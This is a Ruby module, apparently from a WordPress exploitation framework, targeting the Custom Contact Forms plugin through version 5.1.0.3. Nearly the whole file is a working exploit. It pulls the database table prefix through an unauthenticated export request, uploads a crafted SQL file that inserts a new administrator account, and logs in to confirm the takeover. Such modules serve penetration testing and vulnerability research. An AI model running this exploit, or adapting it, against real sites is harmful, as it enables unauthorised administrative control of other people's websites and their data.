lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb
# frozen_string_literal: true
class Wpxf::Auxiliary::CustomContactFormsPrivilegeEscalation < Wpxf::Module
include Wpxf
include Wpxf::WordPress::Login
def initialize
super
update_info(
name: 'Custom Contact Forms Privilege Escalation',
desc: 'The Custom Contact Forms plugin, up to and including version '\
'5.1.0.3, allows unauthenticated users to create new admin users '\
'due to lack of validation when uploading SQL files.',
author: [
'Marc-Alexandre Montpas', # Vulnerability discovery
'rastating' # WPXF module
],
references: [
['URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html'],
['URL', 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail='],
['WPVDB', '7542']
],
date: 'Aug 07 2014'
)
register_options([
StringOption.new(
name: 'username',
desc: 'The username to register with',
default: Utility::Text.rand_alpha(10)
),
StringOption.new(
name: 'password',
desc: 'The password to register with',
default: Utility::Text.rand_alpha(rand(10..20))
)
])
end
def username
normalized_option_value('username')
end
def password
normalized_option_value('password')
end
def hashed_password
Utility::Text.md5(password)
end
def check
check_plugin_version_from_readme('custom-contact-forms', '5.1.0.4')
end
def table_prefix
res = execute_post_request(
url: wordpress_url_admin_post,
body: {
'ccf_export' => '1'
}
)
return nil if res.code != 200 || res.body.nil? || res.body.empty?
match = res.body.match(/insert into `(.+_)customcontactforms_fields`/i)
return nil if match.nil? || match.length < 2
match[1]
end
def sql(prefix)
<<-END_OF_SQL
INSERT INTO #{prefix}users (user_login, user_pass) VALUES ('#{username}','#{hashed_password}');
INSERT INTO #{prefix}usermeta (user_id, meta_key, meta_value) VALUES ((select id from #{prefix}users where user_login='#{username}'),'#{prefix}capabilities','a:1:{s:13:"administrator";b:1;}'),((select id from #{prefix}users where user_login='#{username}'),'#{prefix}user_level','10');
END_OF_SQL
end
def sql_filename
"#{Utility::Text.rand_alpha(5)}.sql"
end
def payload_body_builder(prefix)
builder = Utility::BodyBuilder.new
builder.add_file_from_string('import_file', sql(prefix), sql_filename)
builder.add_field('ccf_merge_import', '1')
builder
end
def run
return false unless super
emit_info 'Extracting table prefix...'
prefix = table_prefix
if prefix.nil?
emit_error 'Unable to determine table prefix'
return false
else
emit_success "Found table prefix: #{prefix}", true
end
emit_info 'Creating new admin user...'
res = nil
payload_body_builder(prefix).create do |body|
scoped_option_change('follow_http_redirection', false) do
res = execute_post_request(url: wordpress_url_admin_post, body: body)
end
end
if res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms'
emit_error 'Failed to create new user'
emit_error "Code: #{res.code}", true
emit_error "Location header: #{res.headers['Location']}", true
return false
end
emit_info 'Verifying new account...'
if wordpress_login(username, password)
emit_success "User #{username} with password #{password} successfully created"
return true
else
emit_error 'Failed to create new user'
return false
end
end
end